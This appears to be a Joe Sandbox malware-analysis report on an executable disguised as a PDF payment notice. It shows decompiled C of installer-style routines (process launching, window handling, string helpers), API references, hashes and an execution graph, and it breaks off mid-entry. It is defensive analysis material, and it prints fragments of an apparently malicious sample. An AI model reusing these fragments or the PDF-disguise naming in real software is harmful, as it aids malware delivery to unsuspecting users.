Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: d2a126c8e87298d62dcb77b716532c519560652f5a9048845524fe30780812a8
Instruction ID: 90c5076a8d782885986fbf54e6784afd95d1d531b418d8ad00c0f3389847d2fc
Opcode Fuzzy Hash: d2a126c8e87298d62dcb77b716532c519560652f5a9048845524fe30780812a8
Instruction Fuzzy Hash: E1F05E30A41620EBC621BB60FE0CA8B7BA4FB84B81705493AF049B11E8C77448878BDC

Uniqueness

Uniqueness Score: -1.00%

Function 0040515C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
windowCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040515C(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				int _t11;
				int _t15;
				long _t16;

				_t15 = _a8;
				if(_t15 != 0x102) {
					__eflags = _t15 - 0x200;
					if(_t15 != 0x200) {
						_t16 = _a16;
						L7:
						__eflags = _t15 - 0x419;
						if(_t15 == 0x419) {
							__eflags =  *0x420d14 - _t16; // 0x0
							if(__eflags != 0) {
								_push(_t16);
								_push("true");
								 *0x420d14 = _t16;
								E00404B18();
							}
						}
						L11:
						return CallWindowProcA( *0x420d1c, _a4, _t15, _a12, _t16);
					}
					_t11 = IsWindowVisible(_a4);
					__eflags = _t11;
					if(_t11 == 0) {
						L10:
						_t16 = _a16;
						goto L11;
					}
					_t16 = E00404A98(_a4, "true");
					_t15 = 0x419;
					goto L7;
				}
				if(_a12 == 0x20) {
					E00404191(0x413);
					return 0;
				}
				goto L10;
			}

0x00405160
0x0040516a
0x00405180
0x00405186
0x004051a8
0x004051ab
0x004051ab
0x004051b1
0x004051b3
0x004051b9
0x004051bb
0x004051bc
0x004051be
0x004051c4
0x004051c4
0x004051b9
0x004051ce
0x00000000
0x004051dc
0x0040518b
0x00405191
0x00405193
0x004051cb
0x004051cb
0x00000000
0x004051cb
0x0040519f
0x004051a1
0x00000000
0x004051a1
0x00405170
0x00405177
0x00000000
0x0040517c
0x00000000

APIs

IsWindowVisible.USER32(?), ref: 0040518B
CallWindowProcA.USER32(?,?,?,?), ref: 004051DC

Part of subcall function 00404191: SendMessageA.USER32(000103C6,00000000,00000000,00000000), ref: 004041A3

Strings

, xrefs: 0040516C

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 4e0d83b517ec3755641dbbc7163631964c054c7a669fd012e4d2f406caf64491
Instruction ID: 1a2e93e4b5b60595961c78cfe9b1f953e315c10ea79d8335bfdfcc16afa4850a
Opcode Fuzzy Hash: 4e0d83b517ec3755641dbbc7163631964c054c7a669fd012e4d2f406caf64491
Instruction Fuzzy Hash: 8B015E31A10709ABEB215F51DD85B5B3A7AEB84314F600537F6007A1D1C73A9C929A69

Uniqueness

Uniqueness Score: -1.00%

Function 00405760 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405760(CHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				int _t7;

				0x422530->cb = 0x44;
				_t7 = CreateProcessA(0, _a4, 0, 0, 0, 0x4000000, 0, 0, 0x422530,  &_v20);
				if(_t7 != 0) {
					CloseHandle(_v20.hThread);
					return _v20.hProcess;
				}
				return _t7;
			}

0x00405769
0x00405789
0x00405791
0x00405796
0x00000000
0x0040579c
0x004057a0

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00422530,Error launching installer), ref: 00405789
CloseHandle.KERNEL32(?), ref: 00405796

Strings

Error launching installer, xrefs: 00405773

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: c3c80266f92bd9d667c92bf3182b136ee7f32a01548fe2ad44771ad24a16863f
Instruction ID: 07a2ea870b6c965c9c8bd0de01314bb8301d1462abb1d5e573899e5cf6f1fbe8
Opcode Fuzzy Hash: c3c80266f92bd9d667c92bf3182b136ee7f32a01548fe2ad44771ad24a16863f
Instruction Fuzzy Hash: EEE04FB0A00309BFEB009B60ED45F7B77ACEB04204F408421BD44F2150E77498148A78

Uniqueness

Uniqueness Score: -1.00%

Function 0040383F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040383F() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t8;

				_t8 =  *0x41fcec; // 0x6caa10
				_t3 = E00403824(_t2, 0);
				if(_t8 != 0) {
					do {
						_t6 = _t8;
						_t8 =  *_t8;
						FreeLibrary( *(_t6 + 8));
						_t3 = GlobalFree(_t6);
					} while (_t8 != 0);
				}
				 *0x41fcec =  *0x41fcec & 0x00000000;
				return _t3;
			}

0x00403840
0x00403848
0x0040384f
0x00403852
0x00403852
0x00403854
0x00403859
0x00403860
0x00403866
0x0040386a
0x0040386b
0x00403873

APIs

FreeLibrary.KERNEL32(?,764B3410,00000000,C:\Users\user\AppData\Local\Temp\,00403817,00403631,?,?,?,?,0000000B), ref: 00403859
GlobalFree.KERNEL32(006CAA10), ref: 00403860

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040383F

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3355392842
Opcode ID: d577bf8b0ad620a88e67a325e5e326df37630095cafad59fd52e64b4463e9122
Instruction ID: 8a9dc77c7c1ee1b135259636166a50b6bf5175fc084ac984c046f8d06e3dc5f9
Opcode Fuzzy Hash: d577bf8b0ad620a88e67a325e5e326df37630095cafad59fd52e64b4463e9122
Instruction Fuzzy Hash: 1BE0EC3350152057C661AF5AAA0475ABAEC7F48B22F05847AF884BB2618B745C429BDC

Uniqueness

Uniqueness Score: -1.00%

Function 00405AA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405AA0(char* _a4) {
				char* _t3;
				char* _t5;

				_t5 = _a4;
				_t3 =  &(_t5[lstrlenA(_t5)]);
				while( *_t3 != 0x5c) {
					_t3 = CharPrevA(_t5, _t3);
					if(_t3 > _t5) {
						continue;
					}
					break;
				}
				 *_t3 =  *_t3 & 0x00000000;
				return  &(_t3[1]);
			}

0x00405aa1
0x00405aab
0x00405aad
0x00405ab4
0x00405abc
0x00000000
0x00000000
0x00000000
0x00405abc
0x00405abe
0x00405ac3

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402F0D,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe,C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe,80000000,?), ref: 00405AA6
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402F0D,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe,C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe,80000000,?), ref: 00405AB4

Strings

C:\Users\user\Desktop, xrefs: 00405AA0

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3370423016
Opcode ID: 7cfe4fb9fb084f73e38b743788eacbc948a8cb50b3ca3a16f7beb83d38b7a1d7
Instruction ID: b7fadc1cb965da237d7d6f6ff84102907be402caa55b699d9cfbdae9487d107c
Opcode Fuzzy Hash: 7cfe4fb9fb084f73e38b743788eacbc948a8cb50b3ca3a16f7beb83d38b7a1d7
Instruction Fuzzy Hash: 98D0A9B25099B06EF303A2108C01B8F6A88CF13300F0A00A2E580E21A1C37C4C428BFD

Uniqueness

Uniqueness Score: -1.00%

Function 6ECB10E0 Relevance: 5.1, APIs: 4, Instructions: 102
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6ECB10E0(void* _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char* _t17;
				char _t19;
				void* _t20;
				void* _t24;
				void* _t27;
				void* _t31;
				void* _t37;
				void* _t39;
				void* _t40;
				signed int _t43;
				void* _t52;
				char* _t53;
				char* _t55;
				void* _t56;
				void* _t58;

				 *0x6ecb405c = _a8;
				 *0x6ecb4060 = _a16;
				 *0x6ecb4064 = _a12;
				 *((intOrPtr*)(_a20 + 0xc))( *0x6ecb4038, E6ECB1556, _t52);
				_t43 =  *0x6ecb405c +  *0x6ecb405c * 4 << 2;
				_t17 = E6ECB123B();
				_a8 = _t17;
				_t53 = _t17;
				if( *_t17 == 0) {
					L16:
					return GlobalFree(_a8);
				} else {
					do {
						_t19 =  *_t53;
						_t55 = _t53 + 1;
						_t58 = _t19 - 0x6c;
						if(_t58 > 0) {
							_t20 = _t19 - 0x70;
							if(_t20 == 0) {
								L12:
								_t53 = _t55 + 1;
								_t24 = E6ECB1266(E6ECB12AD( *_t55 - 0x30));
								L13:
								GlobalFree(_t24);
								goto L14;
							}
							_t27 = _t20;
							if(_t27 == 0) {
								L10:
								_t53 = _t55 + 1;
								_t24 = E6ECB12D1( *_t55 - 0x30, E6ECB123B());
								goto L13;
							}
							L7:
							if(_t27 == 1) {
								_t31 = GlobalAlloc(0x40, _t43 + 4);
								 *_t31 =  *0x6ecb4030;
								 *0x6ecb4030 = _t31;
								E6ECB1508(_t31 + 4,  *0x6ecb4064, _t43);
								_t56 = _t56 + 0xc;
							}
							goto L14;
						}
						if(_t58 == 0) {
							L17:
							_t34 =  *0x6ecb4030;
							if( *0x6ecb4030 != 0) {
								E6ECB1508( *0x6ecb4064, _t34 + 4, _t43);
								_t37 =  *0x6ecb4030;
								_t56 = _t56 + 0xc;
								GlobalFree(_t37);
								 *0x6ecb4030 =  *_t37;
							}
							goto L14;
						}
						_t39 = _t19 - 0x4c;
						if(_t39 == 0) {
							goto L17;
						}
						_t40 = _t39 - 4;
						if(_t40 == 0) {
							 *_t55 =  *_t55 + 0xa;
							goto L12;
						}
						_t27 = _t40;
						if(_t27 == 0) {
							 *_t55 =  *_t55 + 0xa;
							goto L10;
						}
						goto L7;
						L14:
					} while ( *_t53 != 0);
					goto L16;
				}
			}

0x6ecb10e7
0x6ecb10ef
0x6ecb1103
0x6ecb110b
0x6ecb1116
0x6ecb1119
0x6ecb1121
0x6ecb1124
0x6ecb1126
0x6ecb11c4
0x6ecb11d0
0x6ecb112c
0x6ecb112d
0x6ecb112d
0x6ecb1130
0x6ecb1131
0x6ecb1134
0x6ecb1203
0x6ecb1206
0x6ecb119e
0x6ecb11a4
0x6ecb11ac
0x6ecb11b1
0x6ecb11b4
0x00000000
0x6ecb11b4
0x6ecb1209
0x6ecb120a
0x6ecb1186
0x6ecb118c
0x6ecb1194
0x00000000
0x6ecb1194
0x6ecb1152
0x6ecb1153
0x6ecb115b
0x6ecb1168
0x6ecb1170
0x6ecb1179
0x6ecb117e
0x6ecb117e
0x00000000
0x6ecb1153
0x6ecb113a
0x6ecb11d1
0x6ecb11d1
0x6ecb11d8
0x6ecb11e5
0x6ecb11ea
0x6ecb11ef
0x6ecb11f5
0x6ecb11fb
0x6ecb11fb
0x00000000
0x6ecb11d8
0x6ecb1140
0x6ecb1143
0x00000000
0x00000000
0x6ecb1149
0x6ecb114c
0x6ecb119b
0x00000000
0x6ecb119b
0x6ecb114f
0x6ecb1150
0x6ecb1183
0x00000000
0x6ecb1183
0x00000000
0x6ecb11ba
0x6ecb11ba
0x00000000
0x6ecb11c3

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 6ECB115B
GlobalFree.KERNEL32(00000000), ref: 6ECB11B4
GlobalFree.KERNEL32(?), ref: 6ECB11C7
GlobalFree.KERNEL32(?), ref: 6ECB11F5

Memory Dump Source

Source File: 00000004.00000002.88644476902.000000006ECB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 6ECB0000, based on PE: true

Associated: 00000004.00000002.88644409053.000000006ECB0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.88644544842.000000006ECB3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.88644608941.000000006ECB5000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ecb0000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 2217f130ed9faf6e1bb0bf1f6301334603158d165929df335114b9a83133891d
Instruction ID: 4709236676ac8678ab57ae444f1e5950c848d2dc99183031f93c19b1e80d2560
Opcode Fuzzy Hash: 2217f130ed9faf6e1bb0bf1f6301334603158d165929df335114b9a83133891d
Instruction Fuzzy Hash: E431ADB1818645AFEB008FEDEA88A6A7FFDFF0A240B144515F865C6254F734DD0ACB21

Uniqueness

Uniqueness Score: -1.00%

Function 00405BBF Relevance: 5.0, APIs: 4, Instructions: 37
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405BBF(void* __ecx, CHAR* _a4, CHAR* _a8) {
				int _v8;
				int _t12;
				int _t14;
				int _t15;
				CHAR* _t17;
				CHAR* _t27;

				_t12 = lstrlenA(_a8);
				_t27 = _a4;
				_v8 = _t12;
				while(lstrlenA(_t27) >= _v8) {
					_t14 = _v8;
					 *(_t14 + _t27) =  *(_t14 + _t27) & 0x00000000;
					_t15 = lstrcmpiA(_t27, _a8);
					_t27[_v8] =  *(_t14 + _t27);
					if(_t15 == 0) {
						_t17 = _t27;
					} else {
						_t27 = CharNextA(_t27);
						continue;
					}
					L5:
					return _t17;
				}
				_t17 = 0;
				goto L5;
			}

0x00405bcf
0x00405bd1
0x00405bd4
0x00405c00
0x00405bd9
0x00405be2
0x00405be7
0x00405bf2
0x00405bf5
0x00405c11
0x00405bf7
0x00405bfe
0x00000000
0x00405bfe
0x00405c0a
0x00405c0e
0x00405c0e
0x00405c08
0x00000000

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E1A,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BCF
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405BE7
CharNextA.USER32(00000000,?,00000000,00405E1A,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BF8
lstrlenA.KERNEL32(00000000,?,00000000,00405E1A,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405C01

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: b2794e6bf21c90d62e2ecb38362cfad12420dfe545fda3f665c5114a80d4c16b
Instruction ID: 9eba209a39fe6667a971e8652d35f93e0e0dd93f5ee50219908c4175a565a31b
Opcode Fuzzy Hash: b2794e6bf21c90d62e2ecb38362cfad12420dfe545fda3f665c5114a80d4c16b
Instruction Fuzzy Hash: C7F0F631204914FFDB02DFA4DD40D9FBBA8EF56350B2540B9E840F7211D634EE01ABA8

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: PAYNOW_2023_08_002783pdf.exePID: 7664, Parent PID: 7016COMMON

Execution Graph

Execution Coverage:	0.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	17.2%
Total number of Nodes:	29
Total number of Limit Nodes:	2

Executed Functions

Function 334B4260 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 334B426A

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5a7abd279140178a9f1f2ddd36ed39e7dfc856c8a5238c7e40f4bdfbaa0f6945
Instruction ID: 4aeb9970b5279e578dbf7c0d6613aeac1f0b61fca9ffd491057ecfee46760c9a
Opcode Fuzzy Hash: 5a7abd279140178a9f1f2ddd36ed39e7dfc856c8a5238c7e40f4bdfbaa0f6945
Instruction Fuzzy Hash: 6E90023560544422A54072584984546400567E1302B51C416E0424554CCA34895A6375

Uniqueness

Uniqueness Score: -1.00%

Function 334B4570 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 334B457A

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1f138cdc911ed7a62cff9e7a9f17d0dcbdff4821af0b78f2ba4a9ea3c0a77590
Instruction ID: 68c4dda7d89828a2a24a2bf5df9f9ed62980ce59363dea2aa5210288ea23be54
Opcode Fuzzy Hash: 1f138cdc911ed7a62cff9e7a9f17d0dcbdff4821af0b78f2ba4a9ea3c0a77590
Instruction Fuzzy Hash: 0F90026560114452554072584904406600567E2302391C51AA0554560CC6388859A27D

Uniqueness

Uniqueness Score: -1.00%

Function 334B34E0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 334B34EA

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2d11d4c0fea960a5916f3f6a2dc769c18b997709e9adeb560da807a6b699f42c
Instruction ID: cd7c107c5d3189e2d8d0c465a270301b692cde15c6289932217c0b6ee179de89
Opcode Fuzzy Hash: 2d11d4c0fea960a5916f3f6a2dc769c18b997709e9adeb560da807a6b699f42c
Instruction Fuzzy Hash: 0F90023560514812E50062584614706100557D1202F61C816A0424568DC7B5895575B6

Uniqueness

Uniqueness Score: -1.00%

Function 334B2B10 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 334B2B1A

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 31e072b5c5b0f985e5c5f439026462190a459d8c4e3ddacaea3229f3a688a39b
Instruction ID: f89391d27704414c3f0b116c47a9c883a8c9fca173926f01143db3c5ebd3e326
Opcode Fuzzy Hash: 31e072b5c5b0f985e5c5f439026462190a459d8c4e3ddacaea3229f3a688a39b
Instruction Fuzzy Hash: 7890023520104C12E5807258450464A000557D2302F91C41AA0025654DCA358A5D77B5

Uniqueness

Uniqueness Score: -1.00%

Function 334B2B90 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 334B2B9A

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 275f3c5bca71a0e52b342409da160abdbc5416786f4f48cd8a91fb022f2cc904
Instruction ID: b98bc29b568220b00400f7cb6a7be8c0d34720e772ec57cde020c383ef5c03a4
Opcode Fuzzy Hash: 275f3c5bca71a0e52b342409da160abdbc5416786f4f48cd8a91fb022f2cc904
Instruction Fuzzy Hash: 249002352010CC12E5106258850474A000557D1302F55C816A4424658DC6B588957135

Uniqueness

Uniqueness Score: -1.00%

Function 334B29F0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 334B29FA

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: cdff79dbcb175c25ff02cb23abbfe6c8d5e41911eed5260f1bdf1cfce2b7cb51
Instruction ID: dc242f42a6ac38c4996e5e8988cb749f910bcde501ed6c9ad2016f9d0a6f9804
Opcode Fuzzy Hash: cdff79dbcb175c25ff02cb23abbfe6c8d5e41911eed5260f1bdf1cfce2b7cb51
Instruction Fuzzy Hash: FB90043D311044131505F75C0704507004757D7353351C437F1015550CD731CC757135

Uniqueness

Uniqueness Score: -1.00%

Function 334B38D0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 334B38DA

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ee228163c43dbe11976134a4bef0321df3c7e439fde5fdb7b13f169c753f8a91
Instruction ID: a1cc8cd72b02fe749ee4eeac9c3fe7be9781c3c56258098b7b18b3b499d1b191
Opcode Fuzzy Hash: ee228163c43dbe11976134a4bef0321df3c7e439fde5fdb7b13f169c753f8a91
Instruction Fuzzy Hash: 4690022524509512E550725C4504616400577E1202F51C426A0814594DC57588597235

Uniqueness

Uniqueness Score: -1.00%

Function 334B2F00 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 334B2F0A

Memory Dump Source

